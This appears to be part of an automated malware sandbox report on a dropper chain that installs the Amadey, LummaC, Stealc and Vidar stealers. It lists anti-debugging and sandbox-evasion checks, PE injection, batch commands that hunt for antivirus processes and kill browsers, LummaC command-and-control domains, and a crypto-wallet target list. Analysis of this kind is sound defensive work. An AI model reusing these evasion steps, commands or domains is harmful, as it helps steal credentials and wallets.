Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsFHCAFIDBKE.exe

Code function: 10_2_05450114 Start: 0545037D End: 05450187

10_2_05450114

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsFHCAFIDBKE.exe

Code function: 10_2_05450BB5 rdtsc

10_2_05450BB5

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Code function: 24_2_00D8F2E8 BlockInput,

24_2_00D8F2E8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C625FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C625FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C62C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C62C410

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_0094652B mov eax, dword ptr fs:[00000030h]	13_2_0094652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_0094A302 mov eax, dword ptr fs:[00000030h]	13_2_0094A302
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D35108 mov eax, dword ptr fs:[00000030h]	24_2_00D35108

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Code function: 24_2_00D720EE WaitForSingleObject,UnloadUserProfile,CloseHandle,CloseHandle,GetProcessHeap,HeapFree,

24_2_00D720EE

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C5FB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C5FB1F7
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D429B2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_00D429B2
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D30C5F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_00D30C5F
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D30DF5 SetUnhandledExceptionFilter,	24_2_00D30DF5
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D31041 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	24_2_00D31041

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 57b831f1bb.exe PID: 5724, type: MEMORYSTR

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Memory written: C:\Users\user\AppData\Local\Temp\390641\Imposed.com base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: 70da2e822d.exe, 0000001B.00000003.2919320912.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: 70da2e822d.exe, 0000001B.00000003.2919320912.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: 70da2e822d.exe, 0000001B.00000003.2919320912.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: 70da2e822d.exe, 0000001B.00000003.2919320912.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: 70da2e822d.exe, 0000001B.00000003.2919320912.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

24_2_00D71A7B

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Code function: 24_2_00D1331E GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

24_2_00D1331E

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Code function: 24_2_00D7BA4A SendInput,keybd_event,

24_2_00D7BA4A

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Code function: 24_2_00D7EB90 mouse_event,

24_2_00D7EB90

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFHCAFIDBKE.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFHCAFIDBKE.exe "C:\Users\user\DocumentsFHCAFIDBKE.exe"	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe "C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe "C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe "C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe "C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe "C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 390641
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "ConventionTroopsStudiedTooth" Version
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Accessing + ..\Entire + ..\Peripherals + ..\Et B
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com Imposed.com B
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Process created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com C:\Users\user\AppData\Local\Temp\390641\Imposed.com
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Process created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Code function: 24_2_00D713DC GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

24_2_00D713DC

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Code function: 24_2_00D71EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

24_2_00D71EDD

Source: GuidanceConnectors.exe, 0000000E.00000003.2733423502.00000000028A3000.00000004.00000020.00020000.00000000.sdmp, Imposed.com, 00000018.00000002.3055046183.0000000000DD3000.00000002.00000001.01000000.00000010.sdmp, Imposed.com, 0000001D.00000000.2947599435.0000000000DD3000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 70da2e822d.exe, 0000001B.00000002.3052457348.0000000000E9A000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: `GOProgram Manager
Source: skotes.exe, skotes.exe, 0000000D.00000002.3054952046.0000000000AFE000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Program Manager
Source: Imposed.com	Binary or memory string: Shell_TrayWnd
Source: 3f69cca2d1.exe, 0000001A.00000002.3058394907.000000000180F000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: f+Program Manager
Source: file.exe, file.exe, 00000000.00000002.2091778654.0000000000E0D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: YProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5FB341 cpuid

0_2_6C5FB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5C35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5C35A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 13_2_009165E0 LookupAccountNameA,

13_2_009165E0

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Code function: 24_2_00D4BD72 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

24_2_00D4BD72

Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe

Code function: 14_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

14_2_00406805

Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: 70da2e822d.exe, 0000001B.00000002.3060560271.000000000186B000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.3035089252.000000000186B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 10.2.DocumentsFHCAFIDBKE.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.skotes.exe.910000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.skotes.exe.910000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000003.2138645260.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2649469909.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2162110905.0000000000F21000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3053677209.0000000000911000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2178971570.0000000000911000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2074847079.0000000005250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000001F.00000002.3056181007.0000000001198000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0245b5a6ea.exe PID: 4556, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 70da2e822d.exe PID: 4956, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1794953708.0000000005400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3008276200.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3006334699.0000000000021000.00000040.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2091184499.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2965920294.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2094836892.000000000173E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 57b831f1bb.exe PID: 5724, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 432, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 